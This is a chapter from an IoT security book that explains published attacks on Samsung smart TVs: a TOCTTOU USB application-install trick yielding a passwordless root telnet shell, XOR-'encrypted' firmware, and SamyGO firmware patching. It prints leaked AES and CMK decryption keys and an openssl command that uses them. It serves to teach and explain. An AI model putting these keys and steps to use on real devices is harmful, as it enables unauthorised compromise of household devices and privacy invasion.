Abusing the Internet of Things (2015)
Chapter 5. The Idiot Box: Attacking “Smart” Televisions
The glass slabs are everywhere and they seem to want to obnoxiously and rudely isolate society. We stare at our smartphone screens texting someone afar while neglecting the warmth of an in-person conversation with friends that are next to us. The dopamine hit from our phones buzzing in our pockets has become far too difficult to ignore. We must know what fresh piece of notification is waiting for us. It doesn’t matter if the notification is a result of someone we hardly know on Facebook merely liking an insignificant photograph posted on Facebook. Admittedly, first world societies have noticed how the glass slab display of the smartphone is making our interaction soulless and less human. It is negatively influencing our behavior and respect of one another’s presence and we are taking notice. It is increasingly becoming frowned upon to play with our smartphones in meetings, on dates, and during important conversations. There are areas of interaction that seem permanently obsolete, however. Look around the next time you are in an elevator or a neighborhood bar and notice the amount of people with their heads down staring at the glaring glass slab of their smartphones. The romanticism of striking up a meaningful conversation with a stranger seems diminished.
The smartphone is only a recent example of how the glass display can influence society and our interactions with one another. We will pick on the smartphone a little later, but the award for the most influential and distracting display of all goes to the television. It is the TV, nicknamed “the idiot box”, that has shaped the influence of technology on our society for the last few decades. The disdain for the technology supporting the nickname is quite evident. Try and start a conversation about a recent TV show at a cocktail party and you will quickly run into someone in the group who will claim ignorance of the topic because they are proud to not own a TV. Some of this disdain is with merit. There are far too many instances of parents abusing TV to distract their children with content that demotes their intellectual capacities. There is little argument against the hypothesis that children who watch TV for hours can be robbed of valuable time that could be spent towards furthering paternal and maternal bonds. We can also imagine how adults that are glued to TV for hours, with no emphasis on curated content, are likely to learn misinformation and dwell on superficial content targeted towards the entertainment of the mass audience.
The television deserves as much praise as it deserves critique. Ask anyone alive in America on July 1969 how profound of an event it was to watch the Apollo 11 mission that landed the first human beings on to the moon. An estimated 600 million people watched Neil Armstrong and Buzz Aldrin on the surface of the moon, demonstrating the triumph of humankind’s success in harnessing technology. The coverage of the moon landing in the United States and across the world bought societies together to appreciate the spirit of collaboration and the humility from comprehending the vast distances in space - our nearest neighbor, the moon, was no small feat to get to. Even though the United States was responsible for the mission, the world watched in awe and took credit for the entire human race.
The television has bought us live coverage of events that have forever changed our lives and impacted our opinions. The heartache and soul crushing event of the September 11, 2001 terrorist attacks left a scar in the hearts of almost everyone who watched the clip of the airplanes repeatedly smashing into the twin towers, followed by clips of innocent victims jumping off the buildings, and the buildings collapsing much to the horror of everyone.
Aside from popular entertainment, cultures around the planet depend on the Television for information and entertainment that furthers their understanding of the world around them. We get to hear different opinions, debates, and documentaries that are truly educational.
No matter where you stand on the cumulative contribution of the television, we know they aren’t going anywhere any time soon. Families around the world, in billions, own TVs and watch the content broadcasted on them on a regular basis. In recent times, we’ve seen TVs improve on obtaining greater resolution resulting in stunning picture quality. HD Televisions are more the more common higher resolution TVs offering up to 2,073,600 pixels per frame. The 4k standard is an upcoming successor which offers 4 times as much resolution (while 8k is rumored to offer resulutions up to 7,680x4,320 pixels which is 33.2 million pixels).
The new wave of “Smart” Televisions in the market today is focused on providing us much more than improved resolutions. They are now connected to our WiFi networks to serve us in ways we could never imagine a TV could or would. These TVs include services such as watching streaming video, video conferencing, social networking, and instant messaging. In the tune of the IoT landscape, this “thing” we’ve known as the traditional TV, is morphing into a display that serves us in variety of additional methods in addition to displaying regular content.
The Smart TV displays are becoming increasingly popular in households for the added benefit they serve. The current generation of Smart TVs are expensive and available to the affluent. However, given the general track record of how quickly technology becomes cheaper, the feature sets of Smart TVs will be available to the mass in the coming years. It is likely that the next incident contributing to global triumph or heartbreak will be viewed by millions of individuals on their Smart televisions. Given that they plug into our WiFi networks on which many other of our important computing and IoT devices reside, it becomes important that we evaluate the secure design of these displays that are in the market currently. In this chapter, we will take a look at actual research in the area of attack vectors against Smart TVs to understand how we can improve them and securely enable our IoT future that is likely to continue to include Smart TV displays in one way or another.
The TOCTTOU Attack
Many of the popular Smart TVs, particularly from Samsung, run the Linux operating system. They are essentially similar in design to desktop or laptop computers, the only difference being is that their User Interface design is tailored towards displaying video content from various sources. Using a powerful operating system like Linux also gives Smart TVs the ability to run various applications such as Skype and the web browser. We will discover details of the underlying architecture as we analyze some well-publicized attacks against Smart TVs in this chapter. Let’s start with a basic attack vector called Time-of-Check-to-Time-of-Use (TOCTTOU) publicized by researchers Collin Mulliner and Benjamin Michéle.
The TOCTTOU attack targets one of the most basic security capabilities in consumer electronics: the ability for the device to ensure that a software update is legitimate and created by the manufacturer or a trusted third party. This is an important capability for the manufacturer to protect their intellectual property and also to secure the device against malicious software that may violate the integrity of the software or compromise the privacy of the consumer. A good example is the jailbreak community surrounding Apple’s iOS operating system, which powers the iPhone and the iPad. Apple continuously builds security mechanisms to prevent others from being able to modify the core functionality of their devices to preserve their ownership of the experience of the product and to prevent malicious applications from infecting the device. The jailbreak community on the other hand strives to find loopholes in Apple’s security mechanisms so they can modify the functionality of the devices to install customized tweaks and software not authorized by Apple. In the case of Smart TVs, manufacturers want to protect their devices from running unauthorized code to protect their intellectual property, to avoid warranty issues from users uploading buggy code, and to protect digital content such as online rental movies from being recorded. Smart TV users, on the other hand, may want to break the security mechanisms enforced by manufacturers so they can enable additional tweaks, fix software issues on devices that are no longer supported by the manufacturer, and perhaps engage in theft by permanently recording rental based media content.
The SamSung LExxB650 Series
Mulliner’s research focuses on SamSung LExxB650 series (Figure 5-1) of Smart TVs even though the concept of the TOCTTOU attack vector can be applied to other consumer electronic devices that may be similarly vulnerable.
Figure 5-1. SamSung’s LExxB650 series Smart TV.
In the case of Smart TVs and other electronics, the USB port is often used to read and write files that can comprise of media content, applications, and software updates. A storage device, such as a USB memory stick, can be plugged in to the TV to watch content stored on the memory stick, as well as install Smart TV Aps, and also to upgrade firmware.
Apps specifically written for the SamSung LExxB650 series of TVs can be of two types: Adobe Flash and native binaries. Mulliner’s research targets the native binary approach. These binaries end with the .so extension, which means that the binaries are able to share code with other binaries and are loaded on runtime. The advantage of this is that other modules can use code written using this approach and applications, which reduces the size of executables and also allows developers to change shared code in one file and not have to recompile other dependencies. The SamSung TVs use Linux so this approach makes sense. In the world of Microsoft Windows, these files are known as Dynamic Link Libraries (DLLs).
SamSung uses BusyBox, which combines tiny versions of many common Linux utilities into a single executable. The BusyBox system is useful to power consumer devices because it is an easy way to include or exclude commands making it extremely modular.
The SamSung TVs run a binary called exeDSP that basically controls the entire functionality of the system. It is responsible for the user interface navigation, allowing the user to change settings, and for accessing the applications. The exeDSP binary runs as the root user, i.e. with full privileges.
The Apps written for SamSung TVs contain a minimum of three files: The executable code (Adobe flash or a shared object), a bitmap (the icon for the App), and the package description in a file called clmeta.dat. Here is an example of a clmeta.dat file:
<?xml version="1.0" encoding="utf-8"?>
The startpoint tag specifies the actual binary, which in this case is tocttou.so. The category tag specifies the type of App, which in this case is “Wellness”. Other common categories recognized by SamSung are “Game” and “Children”. Mulliner noted that applications of type “Game” are in the form of shared objects while other categories imply Adobe Flash applications.
In the case of shared objects, the Game_Main function call is invoked by the exeDSP executable, which is coded using the C programming language. The following is a simple shared object code:
int Game_Main(char *path, char *udn)
In this case, the application starts up the Telnet service (assuming it is installed on the system). However, the LExxB650 series of SamSung TVs do not allow the installation of additional applications that are shared libraries. This severely limits the ability of a third party to modify the functionality of the TV. This also limits the ability of a third party to install malicious code that could infect the TV to let the attacker invade privacy by viewing video from a camera attached to the TV and stealing any credentials that may be stored on the TV. The goal of Mulliner’s research was to test and demonstrate if there is a way to override this limitation.
Recall that the exeDSP executable runs with root privileges. The exeDSP process is also responsible for starting up applications that are shared libraries. Since exeDSP does not lower the privileges of shared libraries that it executes, the ability to install additional third-party applications is immensely attractive to an attacker as well as to someone who wants to extend or modify the functionality of their TV. Therefore, the goal of the attack is to somehow get the TV to allow installation of an external application that is of category “Game” which corresponds to shared library code.
Mulliner used a Gumstix expansion board to setup the attack. The Gumstix board is equipped with an USB OTG port which allows other USB devices to connect to it as clients (for example USB memory sticks and digital cameras). USB OTG also allows the Gumstix board to function as a client, i.e. connect into other USB hosts as a storage device (such as a USB memory stick).
The Gumstix board is basically a mini computer. These instructions on how to connect to a new Gumstix board are useful in understanding the functionality and capability of the board.
The g_file_storage.ko module is part of the Linux USB stack. By using this module and presenting the Gumstix board as a USB storage device, it is possible to analyze what files the TV reads when presented with an application. In the case of the SamSung TV, non-shared library applications, i.e. Adobe Flash applications, are copied from the USB device to the TV’s internal storage and executed. Each application should be in it’s own directory, include a bitmap file, the clemeta.dat file, and the actual binary as listed in the startpoint tag in clmeta.dat.
The g_file_storage.ko utility takes the filename of a file system image as a parameter and exports it as a USB device. When connected to a host, each block request is read and sent over. Mulliner modified the utility to also track every block read request in order to ascertain exactly what information the TV is reading when presented with a new application. The following is a sample output from the modified version of g_file_storage.ko when the TV is presented with a Adobe Flash application:
11:18:56 TOCTTOU (DIR)
11:18:56 CLMETA.DAT (471b) [/TOCTTOU]
11:18:56 CLMETA.DAT -> read completed!
11:18:56 CACHE (DIR)
11:18:56 CLMETA.DAT (450b) [/CACHE]
11:18:56 CLMETA.DAT -> read completed!
11:19:10 CACHE.BMP (843758b) [/CACHE]
11:19:10 CACHE.BMP -> read completed!
11:19:10 TOCTTOU.BMP (490734b) [/TOCTTOU]
11:19:10 TOCTTOU.BMP -> read completed!
11:19:56 TELNETD (1745016b) [/TOCTTOU]
11:19:56 TELNETD -> read completed!
11:19:56 TOCTTOU.SO (4608b) [/TOCTTOU]
11:19:56 TOCTTOU.SO -> read completed!
In this case, the g_file_storage.ko module running on the Gumstix that is plugged into the SamSung TV included two applications in directories of their own: TOCTTOU and CACHE. For each application, the TV requested the CLMETA.DAT file (at the 11:18:56 mark). The user is then presented with the category of applications that are available to be installed. Let’s assume the TOCTTOU application is of type “Wellness” and the user selects this using the TV remote. At this time, the entire contents of the TOCCTOU directory is copied to the TV’s internal storage, including the bitmap image, the telnetd binary executable, and the TOCTTOU.SO executable. Note that applications of the category “Games” will not be installed by the TV since externally coded shared library code is prohibited.
Notice that the clmeta.dat file is only read once (11:18:56). When the user installs the TOCTTOU application, the TV does not re-read the clmeta.dat file. This is because the TV runs Linux which includes the functionality of a “block cache”. Because file read operations can slow things down, the “block cache” functionality speeds things up by storing recently accessed file operations into the TVs RAM, which is faster to read than a file system.
The idea behind the TOCTTOU attack is to initially provide the TV with an application directory in which the corresponding clmeta.dat is of category is “Wellness”. Once the TV verifies this, the user is able to select the application and the TV will copy the entire contents of application directory into it’s local storage and execute it. The TOCTTOU attack replaces the clmeta.dat category to “Games” after the initial verification allowing for shared library code to be installed. In order to do this, Mulliner further extended the functionality of g_file_storage.ko to be able to track how many times a file (“trigger file”) has been requested for read. Furthermore, g_file_storage.ko was extended to switch to another image once read count for the “trigger file” reaches a certain value (i.e. “trigger count”).
Mulliner created two file systems images for the attack. The first image, called “B” (for “Benign”) includes two applications, TOCTTOU and Cache. Each of these applications contain a clmeta.dat file listed in the category of “Wellness” and corresponding files for icons and executables. The TOCTTOU application includes the telnetd executable. The second image, called “M” (supposedly to imply “Modified”), includes the exact same files except for the clmeta.dat file in the TOCCTOU directory that was modified to the category of “Games”.
Mulliner then used his modified g_file_storage.ko code to attach to the TV as a USB stick and serve the “B” image. When the TV reads the clmeta.dat file in the directory of the “Cache” application, g_file_storage.ko switches to the “M” image in the background. When the user elects to install the TOCTTOU application, the application code is served from the value of the “trigger count” parameter for the trigger file (Cache/clmeta.dat) to 1. In this situation, when the user elects to install the TOCCTOU application, the files from image “M” are served to the TV. However, the problem is that even though the malicious image “M” contains the clmeta.dat file with category “Games”, it is not re-read by the TV upon installation because it is in the TV’s memory because of it’s block caching functionality. Mulliner got around this by making the size of the clemeta.dat file in the “Cache” application greater than 260 Megabytes (by padding it with extra spaces). This exhausts the RAM allocated to block caches and makes the TV re-read clmeta.dat, which is of category “Games”.
Mulliner’s attack succeeds because the TV only checks the category of the clmeta.dat file initially and not when it is re-read (therefore the name: “Time-of-Check-to-Time-of-Use”). Here is the output of g_file_storage as this attack is played out:
1 TOCTTOU (DIR)
2 CLMETA.DAT (471b) [/TOCTTOU]
3 CLMETA.DAT -> read completed!
4 CACHE (DIR)
5 CLMETA.DAT (272630223b) [/CACHE]
6 CLMETA.DAT -> read completed! [device switched!]
7 CACHE.BMP (843758b) [/CACHE]
8 CACHE.BMP -> read completed!
9 TOCTTOU (DIR)
10 TOCTTOU.BMP (490734b) [/TOCTTOU]
11 TOCTTOU.BMP -> read completed!
12 TELNETD (1745016b) [/TOCTTOU]
13 TELNETD -> read completed!
14 TOCTTOU.SO (4608b) [/TOCTTOU]
15 TOCTTOU.SO -> read completed!
16 CLMETA.DAT (471b) [/TOCTTOU]
17 CLMETA.DAT -> read completed!
When the Gumstix board is first plugged into the TV, g_file_storage.ko serves up files from image “B”. The TV reads the clmeta.dat file and makes sure they are not categorized as “Games”. Notice that the clmedta.dat file is about 270 megabytes, which fills up the cache memory allocation in the TV. This will make the TV re-read previously cached files from the Gumstix board again. At this point, the g_file_storage.ko utility switches to image “M” (signified by “device switched” in line 6). The TV is satisfied that none of the applications are of type “Games” and allows the user to pick an application to install. The user selects the TOCTTOU application and the TV copies all files in the TOCTTOU directory to it’s local storage, including an additional binary for the telnet service (telnetd).
Notice that the TV re-reads the clmeta.dat file in step 16, which is served from image “M” and is categorized as “Games”. Since the TV doesn’t double check the categorization upon re-reading the file, the application is copied onto local storage and executed by exeDSP with root privileges. In this way, Mulliner was able to trick the TV into running a shared library application with the highest privileges. In this case, Mulliner used the Game_Main function in tocttou.so to invoke the telnetd binary. Assuming this binary is modified not to ask for a password, the attacker can use this method to login into the TV (using a telnet client) with no password and directly obtain a root shell.
This is a great example of how a simple attack can be used to bypass restrictions and security functionality designed into popular Smart TVs. Even though this attack requires physical access to the TV, it is still interesting because it exploits a simple vulnerability, i.e. the TV doesn’t check the categorization of the application when re-reading the clmeta.dat file.
We shouldn’t discount the probability of attack because it requires physical access. A specific family can indeed be targeted via a social engineering attack. This could take the form of a modified board (such as the Gumstix) being physically mailed to the family in the guise of an official update from “Samsung”. Many Smart TVs include video cameras for conference calling or allow third party cameras to be plugged in. A target family that can be socially engineered to plug in a malicious device into the USB port can therefore quickly have their privacy taken away from them in addition to their Smart TV being abused to launch further attacks into their home network and neighboring IoT devices by including specifically designed malware and remote login functionality to enable the attacker.
The countermeasure for this attack is quite simple. The TV (and other IoT devices that want to restrict third party applications) should first copy the application onto local storage and then check the categorization. If the categorization fails, the TV should discard and reject the application. This is also true for other categories of IoT devices that allow users to only install certain types of applications. This will help ensure that the IoT devices users depend on for their privacy are safe and not vulnerable to simple attacks like TOCTTOU.
You call that Encryption?
The field of cryptography is alive and thriving. Advances in encryption algorithms and computational power is helping to protect our data and the integrity of software and hardware. IoT devices are and will continue to be dependent on encryption to make sure the privacy of the user is protected and the integrity of the device is not compromised. Encryption algorithms are great tools to leverage to promote secure design, but ultimately, the architects and developers must have a proper understanding of how the algorithms work to be able to design them securely. Lack of comprehension of the fundamentals of encryption algorithms can and will make the end product vulnerable to flaws and attacks.
In this section, we will take a look at how the lack of understanding of basic encryption algorithms led a SamSung Smart TV to become vulnerable to a local (physical access required) attack which allowed the user to modify the TV’s firmware. This is a similar outcome to the TOCTTOU scenario, but the attack vector exploits an implementation flaw that uses XOR encryption. We will quickly recap the XOR algorithm and analyze how the attack works.
XOR is a boolean algebra function which stands for “eXclusive OR”. Quite simply, it will return true if one, and only one, of the two operators is true. With this logic, the following table holds true:
1 XOR 1 is 0
1 XOR 0 is 1
0 XOR 1 is 1
0 XOR 0 is 0
Let us write a simple C program to XOR a string cat with the key KEY.
for(int x=0; x<3; x++)
Note that ^ represents an XOR operation in the C programming language.
Now let’s compile it:
$ gcc xor.c -o xor
And run it to see the output:
The XOR operation of cat and KEY results in the output ($-. This is because the program performs an XOR operation of c with K, a with E, and t with Y. Let’s analyze one of these operations, i.e. c with K. The ASCII value of c is 99, which is represented as 01100011. The ASCII value of K, is 75 which is represented in binary as 01001011. Now let us XOR these two values:
The result is 00101000 in binary which is the decimal 40 whose ASCII value is (. This explains why the program output ($-. Feel free to repeat this manual exercise for the remaining two characters and you should come up with $ and -.
In our case, the encryption key was “KEY” and the clear-text data was the word cat resulting in the cyphertext ($-. Anyone who knows the cyphertext and is in possession of the key KEY can decrypt ($- back to the clear-text cat. Let us make sure this works.
for(int x=0; x<3; x++)
Let’s compile and run the program:
$ gcc xor2.c -o xor2
This is a simple and easy description of how XOR works. Of-course, in our case, we used a key of the same length as the clear-text data so that the example is easy to understand. In real life, it is important to use a longer key otherwise it becomes easy for an attacker to guess the key with brute-force. If the data is longer than the key, the key is repeated to match up with the data. XOR is a very strong encryption algorithm in the case where the key is a one-time-pad, i.e. if the key never repeats and is as long or longer than the data.
I call it Encraption
SamSung allows users to download firmware that can be placed on a USB stick and connected to the Smart TV in order to perform upgrades. In this case, we will download the firmware for the PN58B860Y2F model. In this case, we will analyze the firmware issued on September 22, 2009 with version 1013(Figure 5-2).
Figure 5-2. Firmware upgrade downloads available on SamSung’s website
Even though the firmware upgrade file is in the windows executable format of .exe, it is also a zip file that can be uncompressed using the unzip tool:
$ unzip 2009_DTV_2G_firmware.exe
The important firmware image files appear to be T-CHE7AUSC/image/appdata.img.enc and T-CHE7AUSC/image/exe.img.enc. Let’s see what happens when we inspect these files using the strings tool, which is used to output the printable parts of binary files:
$ strings T-CHE7AUSC/image/exe.img.enc
[rest of output removed for brevity]
Isn’t it interesting to see the string T-CHE7AUSC repeat in a file that is supposedly encrypted? It is especially notable because it is also the name of the root directory, which is created when the firmware download is unzipped, and as such this string is deemed clear-text. If the image files are truly encrypted, this string should not be showing up in clear. What is going on here? Well, let’s take a moment to consider what happens when a character is XOR’d with the null ASCII character of decimal value 0. Null strings are often used to signify the end of strings in memory and represented with the escape sequence of \0.
The C program below performs an XOR operation between the character a and the null character:
printf("%c\n",'a' ^ '\0');
Let’s compile and run our program to see the output:
$ gcc xor_null.c -o xor_null
So there we have it. The XOR operation of a character with a null reveals the original character. This means that if your XOR key is small and if the file you are XOR-ing contains a series of null characters, the actual key will be revealed in the cyphertext! This is exactly what happened in the case of the SamSung firmware file we looked at using the strings command. SamSung made the mistake of using a small key without understanding that the image file they are encrypting contained a lot of null characters (this is very common in binary files). Not only did they commit this mistake, the root directory name of the firmware is also the key.
The implications of this is that anyone can decrypt the firmware with the exposed key, make changes to the firmware, and encrypt it again using the same key. This bypasses SamSung’s wish that users and external parties should not be allowed to tinker with the core functionality of the TVs to bypass application and digital rights controls.
The SamyGO website and forums are thriving with activity from SamSung TV owners who want to modify their TVs in just the way SamSung wouldn’t want them to. One of the popular tools available from SamyGO is called SamyGO Firmware Patcher which exploits the XOR vulnerability we just looked at. This tool enables telnet so users can remotely login to the TV and obtain a Linux prompt so they can further modify the TV. To run this tool, you just have to download the firmware as we did earlier and issue the path to the location of the firmware:
$ python ./SamyGO.py ~/Downloads/T-CHE7AUSC
SamyGO Firmware Patcher v0.16 Beta (c) 2010 Erdem U. Altinyurt
-=BIG FAT WARNING!=-
You can brick your TV with this tool!
Authors accept no responsibility about ANY DAMAGE on your devices!
project home: http://SamyGO.sourceforge.net
XOR Encrytped CI firmware detected.
Decrypting with XOR key : T-CHE7AUSC
Crypto package found, using fast XOR engine.
Applying VideoAR Patch...
MD5 of Decrypted image is : 9b4d11ddc6bd41156573ae61d1660fdf
FAT image analyzed - exeDSP location: 7811072 size: 37414044
ARM ELF exeDSP File Detected
CToolMmbDisplaySizeItem::GetToolItem() Adress : 0x13537D0
CToolMmbDisplaySizeItem::PressLeftRightKey() Adress : 0x1353AC8
VideoAR Fix v1 Compatibility Found.
VideoAR Fix v1 Patched on image.
Applying Telnet Patch...
Suitable Location Found for Script injection on Offset : 3969567
Enable Telnet or Advanced Mode on image( T/a )?
Telnet Enabled on image.
Calculatin new CRC : d71d7f17
Updating /SamyGO/T-CHL7DEUC/image/validinfo.txt with new CRC.
Encrypting with XOR : T-CHE7AUSC
Crypto package found, using fast XOR engine.
Operation successfully completed.
Now you can flash your TV with ./T-CHL7DEUC directory.
Notice that the SamyGo.py tool decrypted the “encrypted” image with the exact key we found using the strings command (T-CHE7AUSC). It then patches the firmware to include the telnet service and encrypts it with the same XOR key. Now, all the user has to do is place the T-CHE7AUSC directory and it’s contents onto a USB stick and connect it to the TV. The TV will then go through the process of upgrading the firmware, which will cause it to enable the telnet function. The default username applied by the patch is root and there is no password required (Figure 5-3).
Figure 5-3. No password required to login to the SamSung TV after applying telnet patch
The SamyGO website contains tons of additional tools that exploit conditions beyond the example listed in this chapter. If you have a SamSung TV, take a look and see what tools are available that may interest you.
Give some thought to the gravity of the situation SamSung has caused because they did not comprehend the basics of the XOR algorithm. With this one mistake, they’ve caused the SamyGo community to further thrive, which is against the interests of the business of SamSung. Highly technical users love this situation since it gives them tremendous freedom to modify the Smart TV device they feel they paid for and feel they should be allowed to modify. From Samsung’s point of view, however, users are now able to tweak the firmware, which can cause TVs to malfunction. This also places legal concerns from content providers SamSung may have partnered with since firmware tweaks can be abused to legally store and distribute content protected media.
The SamyGo community doesn’t seem particularly savvy when it comes to security. As Figure 5-3 shows, the patches being applied to increase functionality utilize no passwords, or in some cases weak passwords (such as “SamyGo”). Not only can a sophisticated user place malware on a TV he or she has physical access to (by patching the firmware to include remote monitoring tools), but malware on other devices on the same network as that of the SamSung TV can attempt to login to tweaked TV sets by attempting null passwords or “SamyGo”.
The firmware we studied was last updated on 2009. This is because there is little hope for SamSung to rectify this problem on older TVs. If SamSung decided to patch this issue, they’d have to first release the patch, which is encrypted using the flawed XOR mechanism so that the existing TVs can apply the patch in the first place. This situation allows someone to decrypt the patch and analyze the patch in the clear. Even if SamSung were to find an elegant way to do this, it would be operationally infeasible since the user wouldn’t be able to only apply the latest patch if they were to skip a few versions (which most users do). They’d be required to first issue the critical patch that fixed the XOR flaw so that the TV could understand the new encryption mechanism that is used to protect the latest firmware file. See the amount of mess this has created?
The slang “encraption” (with the emphasis on “crap”) is affectionately used by the cybersecurity community to call out badly implemented encryption. As such, the title of this section is rightfully justified.
Understanding and Exploiting the App World
Smart TVs have Apps such as Skype, the popular video conferencing solution. In this section, we will take a deeper look into the world of Apps on TVs to understand how they work and the security mechanisms surrounding them. In the future, more and more people are going to use and rely on Apps on their Smart TVs so the potential for abuse becomes higher. This is because more Apps will mean more code is written to run on TVs and this code may contain security vulnerabilities. The popularity of Apps will also draw the interest of malicious attackers who have an interest in continuing to find avenues to exploit systems to steal data from victims.
For us to have a deeper understanding of how Apps work, we need to become familiar with the underlying platform that supports the functionality of a Smart TV. We’ve discussed the weak XOR encryption used in SamSung TVs that allows for the decryption and patching of firmware. SamSung has countered this by encrypting the firmware using AES in newer models of their Smart TVs. However, the secret encryption key has been leaked and is available to the public. It is unclear how this happened, but tools from the SamyGo website contain this key and can easily decrypt the firmware downloaded from the Samsung website.
Let’s start with a firmware that we know been encrypted utilizing AES:
$ ls -l T-ECPDEUC/image/
-rw-rw-r-- 1 apple apple 192794916 Apr 29 2013 exe.img.sec
-rw-rw-r-- 1 apple apple 132 Apr 29 2013 exe.img.sec.cmac
-rw-rw-r-- 1 apple apple 256 Apr 29 2013 exe.img.sec.cs
-rw-rw-r-- 1 apple apple 256 Apr 29 2013 exe.img.sec.vs
-rw-rw-r-- 1 apple apple 3272292 Apr 29 2013 Image.sec
-rw-rw-r-- 1 apple apple 132 Apr 29 2013 Image.sec.cmac
-rw-rw-r-- 1 apple apple 256 Apr 29 2013 Image.sec.cs
-rw-rw-r-- 1 apple apple 256 Apr 29 2013 Image.sec.vs
-rw-rw-r-- 1 apple apple 17 Apr 29 2013 info.txt
-rw-rw-r-- 1 apple apple 7 Apr 29 2013 major_version
-rw-rw-r-- 1 apple apple 6 Apr 29 2013 minor_version
-rw-rw-r-- 1 apple apple 5763492 Apr 29 2013 rootfs.img.sec
-rw-rw-r-- 1 apple apple 132 Apr 29 2013 rootfs.img.sec.cmac
-rw-rw-r-- 1 apple apple 256 Apr 29 2013 rootfs.img.sec.cs
-rw-rw-r-- 1 apple apple 256 Apr 29 2013 rootfs.img.sec.vs
-rw-rw-r-- 1 apple apple 65 Apr 29 2013 validinfo.txt
-rw-rw-r-- 1 apple apple 48 Apr 29 2013 version_info.txt
In order to decrypt this firmware, we can use the SamyGO Firmware Patcher which has the leaked secret key embedded in the tool:
$ ./SamyGO.py decrypt_all ./T-ECPDEUC
SamyGO Firmware Patcher v0.34 (c) 2010-2011 Erdem U. Altinyurt
-=BIG FAT WARNING!=-
You can brick your TV with this tool!
Authors accept no responsibility about ANY DAMAGE on your devices!
project home: http://www.SamyGO.tv
Firmware: T-ECPDEUC v2008.2
AES Encrytped CI+ firmware detected.
Processing file Image.sec
secret key : 3EF6067262CF0C678598BFF22169D1F1EA57C284
Decrypting with XOR Key : T-ECPDEUC
Crypto package found, using fast XOR engine.
Calculated CRC : 0xEF4527E9
CRC Validation passed
Processing file rootfs.img.sec
secret key : 3EF6067262CF0C678598BFF22169D1F1EA57C284
Decrypting with XOR Key : T-ECPDEUC
Crypto package found, using fast XOR engine.
Calculated CRC : 0xCF5DC1D2
CRC Validation passed
Processing file exe.img.sec
secret key : 3EF6067262CF0C678598BFF22169D1F1EA57C284
Decrypting with XOR Key : T-ECPDEUC
Crypto package found, using fast XOR engine.
Calculated CRC : 0x109B6984
CRC Validation passed
Notice the secret key that is embedded in the tool. Now that have the decrypted versions of the image files:
$ ls -l T-ECPDEUC/image/
-rw-r--r-- 1 apple apple 192794624 Dec 3 15:40 exe.img
-rw-r--r-- 1 apple apple 192794624 Dec 3 15:39 exe.img.enc
-rw-r--r-- 1 apple apple 192794916 Apr 29 2013 exe.img.sec
-rw-r--r-- 1 apple apple 132 Apr 29 2013 exe.img.sec.cmac
-rw-r--r-- 1 apple apple 256 Apr 29 2013 exe.img.sec.cs
-rw-r--r-- 1 apple apple 256 Apr 29 2013 exe.img.sec.vs
-rw-r--r-- 1 apple apple 3272000 Dec 3 15:39 Image
-rw-r--r-- 1 apple apple 3272000 Dec 3 15:39 Image.enc
-rw-r--r-- 1 apple apple 3272292 Apr 29 2013 Image.sec
-rw-r--r-- 1 apple apple 132 Apr 29 2013 Image.sec.cmac
-rw-r--r-- 1 apple apple 256 Apr 29 2013 Image.sec.cs
-rw-r--r-- 1 apple apple 256 Apr 29 2013 Image.sec.vs
-rw-r--r-- 1 apple apple 17 Apr 29 2013 info.txt
-rw-r--r-- 1 apple apple 7 Apr 29 2013 major_version
-rw-r--r-- 1 apple apple 6 Apr 29 2013 minor_version
-rw-r--r-- 1 apple apple 5763204 Dec 3 15:39 rootfs.img
-rw-r--r-- 1 apple apple 5763204 Dec 3 15:39 rootfs.img.enc
-rw-r--r-- 1 apple apple 5763492 Apr 29 2013 rootfs.img.sec
-rw-r--r-- 1 apple apple 132 Apr 29 2013 rootfs.img.sec.cmac
-rw-r--r-- 1 apple apple 256 Apr 29 2013 rootfs.img.sec.cs
-rw-r--r-- 1 apple apple 256 Apr 29 2013 rootfs.img.sec.vs
-rw-r--r-- 1 apple apple 65 Apr 29 2013 validinfo.txt
-rw-r--r-- 1 apple apple 48 Apr 29 2013 version_info.txt
There we have it, decrypted versions of exe.img and rootfs.img.
Cursory Exploration of the Operating System
Now let’s examine the underlying platform supporting the popular Smart TVs. We’ve already obtained and decrypted the firmware. Let’s access it and take a look at its contents. This will allow us to understand how SmartTVs are architected. This understanding in turn will help us comprehend existing attack vectors more deeply. In addition, this knowledge will help you with the information you need should you decided to do further research of your own.
To start with, let us take a look at the freshly decrypted image files to see how Samsung managed to design their platform, which is based on Linux. Let’s mount rootfs.img:
$ mount rootfs.img /media/rootfs.img/ -o loop
In etc/profile we find the following partitions:
############## Partition Information ##############
That’s a total of 20 partitions. These are a lot of partitions for a single system, but a lot of these are mounted in read only mode, which limits attack vectors.
Here is the exeDSP executable we mentioned earlier which is the main executable used to control the TV’s functionality:
$ ls -lh /media/exe.img/exeDSP
-rwxr-xr-x 1 root root 146M Apr 28 2013 /media/exe.img/exeDSP
Notice that the file size of exeDSP is 146 Megabytes, which is unusually large for a single executable. This illustrates that a lot of functionality has been directly coded into the executable rather than in shared libraries or shared code. That said, there are additional shared libraries in the image as well.
There is also evidence that the TV uses the X11 Windows system to display the user interface:
drwxr-xr-x 2 root root 103 Apr 28 2013 .
drwxr-xr-x 9 root root 152 Apr 28 2013 ..
-rwxr-xr-x 1 root root 4356171 Apr 28 2013 compiz
-rwxr-xr-x 1 root root 17237 Apr 28 2013 fc-cache
-rwxr-xr-x 1 root root 14044 Apr 28 2013 gdk-pixbuf-query-loaders
-rwxr-xr-x 1 root root 3010259 Apr 28 2013 X
-rwxr-xr-x 1 root root 2241 Apr 28 2013 xorg.conf
Here’s a snippet from the xorg.conf file:
Identifier "Mali Screen"
Device "Mali FBDEV"
Monitor "Mali Monitor"
ViewPort 0 0
Modes "1920x1080@60" "1024x768" "1280x720" "960x540@60"
"720x576" "1920x720@50d" "720x480" "960x1080@50"
This appears accurate since the firmware we are looking at is for an HD capable TV and the true HD resolution is 1920x1080 which is listed as the first preference. Other resolutions are also available.
Another interesting item to note on our cursory quest to understand the underlying system is the presence of cmk files:
$ ls -l /media/exe.img/infolink/manager/*.cmk
-r--r--r-- 1 root root 640 Apr 28 2013 /media/exe.img/infolink/manager/
-r--r--r-- 1 root root 11872 Apr 28 2013 /media/exe.img/infolink/manager/
These are “encrypted” files, however the keys for them have already been leaked and available on the SamyGo forums (Figure 5-4).
Figure 5-4. Leaked encryption keys available on the SamyGo forums
Using the leaked keys, it’s easy to decrypt any cmk file:
$ openssl aes-128-cbc -d -K B1D5F122E75D757C79F48886D42F8E1A -in index.html.cmk
-nosalt -iv BFE932F9273DC2A0DFC93F0B8E7AC7C2 -out index.html
<body id='SmartHubBody' onload='SmartHomeMain.onCreate();' onunload='SmartHomeMa
